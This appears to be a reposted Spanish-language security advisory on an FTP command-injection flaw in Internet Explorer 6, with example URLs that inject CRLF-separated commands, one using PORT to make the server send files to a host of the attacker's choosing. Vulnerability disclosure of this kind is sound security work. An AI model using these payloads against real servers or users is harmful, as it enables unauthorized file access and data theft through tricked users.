(no me hago responsable de las opiniones vertidas al final del
articulo) :>)
7a69Adv#15 - Inyección de comandos FTP en Internet Explorer
http://www.7a69ezine.org/node/view/168
Autor: Albert Puigsech Galicia
Software: Microsoft Internet Explorer
Versiones: 6.0.2800.1106 e inferiores
Tipo: Inyección de comandos
Exploit: Sí
Introducción
Internet Explorer es un conocido navegador HTTP, que al igual que
otros puede usarse para acceder a otro tipo de protocolos, como por
ejemplo el FTP. El historial de seguridad de este software es
realmente increíble y nosotros nos alegramos del estupendo trabajo
realizado por Microsoft. Nos gustan vuestras funcionalidades de
(in)seguridad!
Descripción
Para acceder a un servidor FTP usando Internet Explorer se escribe
"
ftp://ftpuser:ftppass@server/directory" en la barra de direcciones y
el navegador se encargará de conectar al servidor y ejecutar los
siguientes comandos (se han omitido algunos de los comandos ya que no
son realmente importantes).
USER ftpuser
PASS ftppass
CWD /directory/
El problema de seguridad reside en la posibilidad de inyectar comandos
FTP en la propia URL añadiendo al final la cadena %0d%0a seguida de
los comandos a inyectar. Si tu accedes a
"
ftp://ftpuser:ftppass@server/directory%0d%0asomecommand%0d%0a" se
ejecutarán los siguientes comandos.
USER ftpuser
PASS ftppass
CWD /directory
somecommand
/
La ultima linea contiene un comando erróneo, pero esto no es un
problema, porque 'somecommand' ya ha sido ejecutado.
Exploit
Necesitas convencer a un usuario a acceder a una URL dada por ti y que
este introduzca un login y password validos. Sí! La explotación de
esta vulnerabilidad requiere aplicar ingeniería social. Es posible
realizar cualquier acción permitida por el servidor FTP siempre que el
usuario tenga permiso; crear o borrar ficheros i directorios, etc.
Posiblemente lo más interesante sea descargar ficheros, y ello es
posible con la siguiente URL:
ftp://server/%0d%0aPORT%0d%20a,b,c,...file%0d%0a
Entonces el servidor se conectará al puerto e,f (ver el RFC del FTP
para traducir el número de puerto) de a.b.c.d y enviará los datos
solicitados.
Parche
Internet Explorer es una absoluta basura. La mejor solución es usar
otro navegador como Opera o Firefox.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Origen de la informacion:
Microsoft Internet Explorer Input Validation Error in Processing FTP
URLs May Let Remote Users Inject Arbitrary FTP Commands
http://www.securitytracker.com/aler...12444.html
Leer las respuestas